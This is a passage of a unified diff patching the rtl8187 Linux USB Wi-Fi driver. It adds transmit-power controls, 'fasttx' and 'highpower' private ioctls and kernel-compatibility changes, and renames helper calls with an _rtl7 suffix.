(wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-02-15 00:37:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + 